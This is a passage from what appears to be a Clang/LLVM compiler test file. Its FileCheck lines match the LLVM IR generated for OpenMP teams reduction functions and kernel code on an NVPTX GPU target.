[[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK5-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP46]], i8* [[TMP47]]) #[[ATTR3]] // CHECK5-NEXT: br label [[IFCONT:%.*]] // CHECK5: else: // CHECK5-NEXT: br label [[IFCONT]] // CHECK5: ifcont: // CHECK5-NEXT: [[TMP48:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK5-NEXT: [[TMP49:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK5-NEXT: [[TMP50:%.*]] = and i1 [[TMP48]], [[TMP49]] // CHECK5-NEXT: br i1 [[TMP50]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK5: then6: // CHECK5-NEXT: [[TMP51:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP52:%.*]] = load i8*, i8** [[TMP51]], align 4 // CHECK5-NEXT: [[TMP53:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK5-NEXT: [[TMP54:%.*]] = load i8*, i8** [[TMP53]], align 4 // CHECK5-NEXT: [[TMP55:%.*]] = load i8, i8* [[TMP52]], align 1 // CHECK5-NEXT: store i8 [[TMP55]], i8* [[TMP54]], align 1 // CHECK5-NEXT: [[TMP56:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[TMP57:%.*]] = load i8*, i8** [[TMP56]], align 4 // CHECK5-NEXT: [[TMP58:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK5-NEXT: [[TMP59:%.*]] = load i8*, i8** [[TMP58]], align 4 // CHECK5-NEXT: [[TMP60:%.*]] = bitcast i8* [[TMP57]] to float* // CHECK5-NEXT: [[TMP61:%.*]] = bitcast i8* [[TMP59]] to float* // CHECK5-NEXT: [[TMP62:%.*]] = load float, float* [[TMP60]], align 4 // CHECK5-NEXT: store float [[TMP62]], float* [[TMP61]], align 4 // CHECK5-NEXT: br label [[IFCONT8:%.*]] // CHECK5: else7: // CHECK5-NEXT: br label [[IFCONT8]] // CHECK5: ifcont8: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func4 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK5-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK5-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK5-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK5: then: // CHECK5-NEXT: [[TMP5:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP6:%.*]] = load i8*, i8** [[TMP5]], align 4 // CHECK5-NEXT: [[TMP7:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK5-NEXT: [[TMP8:%.*]] = bitcast i32 addrspace(3)* [[TMP7]] to i8 addrspace(3)* // CHECK5-NEXT: [[TMP9:%.*]] = load i8, i8* [[TMP6]], align 1 // CHECK5-NEXT: store volatile i8 [[TMP9]], i8 addrspace(3)* [[TMP8]], align 1 // CHECK5-NEXT: br label [[IFCONT:%.*]] // CHECK5: else: // CHECK5-NEXT: br label [[IFCONT]] // CHECK5: ifcont: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK5-NEXT: [[TMP10:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP10]] // CHECK5-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK5: then4: // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK5-NEXT: [[TMP12:%.*]] = bitcast i32 addrspace(3)* [[TMP11]] to i8 addrspace(3)* // CHECK5-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK5-NEXT: [[TMP15:%.*]] = load volatile i8, i8 addrspace(3)* [[TMP12]], align 1 // CHECK5-NEXT: store i8 [[TMP15]], i8* [[TMP14]], align 1 // CHECK5-NEXT: br label [[IFCONT6:%.*]] // CHECK5: else5: // CHECK5-NEXT: br label [[IFCONT6]] // CHECK5: ifcont6: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK5-NEXT: [[WARP_MASTER7:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK5-NEXT: br i1 [[WARP_MASTER7]], label [[THEN8:%.*]], label [[ELSE9:%.*]] // CHECK5: then8: // CHECK5-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK5-NEXT: [[TMP18:%.*]] = bitcast i8* [[TMP17]] to i32* // CHECK5-NEXT: [[TMP19:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK5-NEXT: [[TMP20:%.*]] = load i32, i32* [[TMP18]], align 4 // CHECK5-NEXT: store volatile i32 [[TMP20]], i32 addrspace(3)* [[TMP19]], align 4 // CHECK5-NEXT: br label [[IFCONT10:%.*]] // CHECK5: else9: // CHECK5-NEXT: br label [[IFCONT10]] // CHECK5: ifcont10: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK5-NEXT: [[TMP21:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[IS_ACTIVE_THREAD11:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP21]] // CHECK5-NEXT: br i1 [[IS_ACTIVE_THREAD11]], label [[THEN12:%.*]], label [[ELSE13:%.*]] // CHECK5: then12: // CHECK5-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK5-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP24:%.*]] = load i8*, i8** [[TMP23]], align 4 // CHECK5-NEXT: [[TMP25:%.*]] = bitcast i8* [[TMP24]] to i32* // CHECK5-NEXT: [[TMP26:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP22]], align 4 // CHECK5-NEXT: store i32 [[TMP26]], i32* [[TMP25]], align 4 // CHECK5-NEXT: br label [[IFCONT14:%.*]] // CHECK5: else13: // CHECK5-NEXT: br label [[IFCONT14]] // CHECK5: ifcont14: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func5 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK5-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.3* // CHECK5-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK5-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 0 // CHECK5-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK5-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP9]], align 1 // CHECK5-NEXT: store i8 [[TMP11]], i8* [[TMP10]], align 128 // CHECK5-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK5-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK5-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 1 // CHECK5-NEXT: [[TMP15:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK5-NEXT: [[TMP16:%.*]] = load float, float* [[TMP14]], align 4 // CHECK5-NEXT: store float [[TMP16]], float* [[TMP15]], align 128 // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func6 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.3* // CHECK5-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK5-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK5-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK5-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 4 // CHECK5-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK5-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP11]], i8* [[TMP12]]) #[[ATTR3]] // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func7 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK5-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.3* // CHECK5-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK5-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 0 // CHECK5-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK5-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP10]], align 128 // CHECK5-NEXT: store i8 [[TMP11]], i8* [[TMP9]], align 1 // CHECK5-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK5-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK5-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 1 // CHECK5-NEXT: [[TMP15:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK5-NEXT: [[TMP16:%.*]] = load float, float* [[TMP15]], align 128 // CHECK5-NEXT: store float [[TMP16]], float* [[TMP14]], align 4 // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func8 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.3* // CHECK5-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK5-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK5-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK5-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 4 // CHECK5-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK5-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK5-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP12]], i8* [[TMP11]]) #[[ATTR3]] // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l36 // CHECK5-SAME: (i32 [[A:%.*]], i32 [[B:%.*]]) #[[ATTR1]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[A_ADDR:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[B_ADDR:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK5-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK5-NEXT: store i32 [[A]], i32* [[A_ADDR]], align 4 // CHECK5-NEXT: store i32 [[B]], i32* [[B_ADDR]], align 4 // CHECK5-NEXT: [[CONV:%.*]] = bitcast i32* [[B_ADDR]] to i16* // CHECK5-NEXT: [[NVPTX_NUM_THREADS:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK5-NEXT: call void @__kmpc_spmd_kernel_init(i32 [[NVPTX_NUM_THREADS]], i16 1) // CHECK5-NEXT: call void @__kmpc_data_sharing_init_stack_spmd() // CHECK5-NEXT: br label [[DOTEXECUTE:%.*]] // CHECK5: .execute: // CHECK5-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3:[0-9]+]]) // CHECK5-NEXT: store i32 [[TMP0]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK5-NEXT: call void @__omp_outlined__9(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i32* [[A_ADDR]], i16* [[CONV]]) #[[ATTR3]] // CHECK5-NEXT: br label [[DOTOMP_DEINIT:%.*]] // CHECK5: .omp.deinit: // CHECK5-NEXT: call void @__kmpc_spmd_kernel_deinit_v2(i16 1) // CHECK5-NEXT: br label [[DOTEXIT:%.*]] // CHECK5: .exit: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@__omp_outlined__9 // CHECK5-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR1]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK5-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK5-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 4 // CHECK5-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 4 // CHECK5-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[CAPTURED_VARS_ADDRS:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK5-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK5-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 4 // CHECK5-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 4 // CHECK5-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 4 // CHECK5-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 4 // CHECK5-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK5-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK5-NEXT: [[TMP2:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i32 0, i32 0 // CHECK5-NEXT: [[TMP3:%.*]] = bitcast i32* [[A1]] to i8* // CHECK5-NEXT: store i8* [[TMP3]], i8** [[TMP2]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i32 0, i32 1 // CHECK5-NEXT: [[TMP5:%.*]] = bitcast i16* [[B2]] to i8* // CHECK5-NEXT: store i8* [[TMP5]], i8** [[TMP4]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK5-NEXT: [[TMP7:%.*]] = load i32, i32* [[TMP6]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = bitcast [2 x i8*]* [[CAPTURED_VARS_ADDRS]] to i8** // CHECK5-NEXT: call void @__kmpc_parallel_51(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i32 1, i32 -1, i32 -1, i8* bitcast (void (i32*, i32*, i32*, i16*)* @__omp_outlined__10 to i8*), i8* null, i8** [[TMP8]], i32 2) // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP10:%.*]] = bitcast i32* [[A1]] to i8* // CHECK5-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[TMP12:%.*]] = bitcast i16* [[B2]] to i8* // CHECK5-NEXT: store i8* [[TMP12]], i8** [[TMP11]], align 4 // CHECK5-NEXT: [[TMP13:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK5-NEXT: [[TMP14:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK5-NEXT: [[TMP15:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i8* [[TMP14]], i32 1024, i8* [[TMP13]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func15, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func16, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func17, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func18, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func19, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func20) // CHECK5-NEXT: [[TMP16:%.*]] = icmp eq i32 [[TMP15]], 1 // CHECK5-NEXT: br i1 [[TMP16]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK5: .omp.reduction.then: // CHECK5-NEXT: [[TMP17:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK5-NEXT: [[TMP18:%.*]] = load i32, i32* [[A1]], align 4 // CHECK5-NEXT: [[OR:%.*]] = or i32 [[TMP17]], [[TMP18]] // CHECK5-NEXT: store i32 [[OR]], i32* [[TMP0]], align 4 // CHECK5-NEXT: [[TMP19:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK5-NEXT: [[CONV:%.*]] = sext i16 [[TMP19]] to i32 // CHECK5-NEXT: [[TMP20:%.*]] = load i16, i16* [[B2]], align 2 // CHECK5-NEXT: [[CONV3:%.*]] = sext i16 [[TMP20]] to i32 // CHECK5-NEXT: [[CMP:%.*]] = icmp sgt i32 [[CONV]], [[CONV3]] // CHECK5-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK5: cond.true: // CHECK5-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK5-NEXT: br label [[COND_END:%.*]] // CHECK5: cond.false: // CHECK5-NEXT: [[TMP22:%.*]] = load i16, i16* [[B2]], align 2 // CHECK5-NEXT: br label [[COND_END]] // CHECK5: cond.end: // CHECK5-NEXT: [[COND:%.*]] = phi i16 [ [[TMP21]], [[COND_TRUE]] ], [ [[TMP22]], [[COND_FALSE]] ] // CHECK5-NEXT: store i16 [[COND]], i16* [[TMP1]], align 2 // CHECK5-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP7]]) // CHECK5-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK5: .omp.reduction.done: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@__omp_outlined__10 // CHECK5-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR1]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK5-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK5-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 4 // CHECK5-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 4 // CHECK5-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK5-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK5-NEXT: store i32* [[A]], i32** 